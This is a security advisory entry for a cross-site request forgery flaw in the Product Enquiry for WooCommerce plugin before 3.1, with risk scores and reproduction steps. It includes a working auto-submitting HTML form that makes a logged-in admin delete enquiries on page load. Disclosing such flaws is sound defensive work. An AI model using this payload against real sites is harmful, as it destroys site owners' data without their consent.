Product Enquiry for WooCommerce < 3.1 - Arbitrary Enquiry Deletion via CSRF

2023-12-2800:00:00

Bob Matyas

product enquiry

woocommerce

csrf

exploit

security

6.7 Medium

AI Score

Confidence

Low

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not have a CSRF check in place when deleting inquiries, which could allow attackers to make a logged in admin delete them via a CSRF attack

1. Make an enquiry from the frontend form
2. Go to "Woo Quote Popup > Enquiry List"
3. Get the ID of an item
4. Add the ID to the following HTML:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=GMWQP&view=list" method="POST">
        <input type="text" name="action" value="delete">
        <input type="text" name="action2" value="delete">
        <input type="text" name="page" value="GMWQP">
        <input type="text" name="_wp_http_referer" value="%2Fwp-admin%2Fadmin.php%3Fpage%3DGMWQP%26view%3Dlist">       
        <input type="text" name="id[]" value="__ADD_ID_HERE__">        
        <input type="submit" value="submit">
    </form>
</body>
```
5. See that the item has been deleted.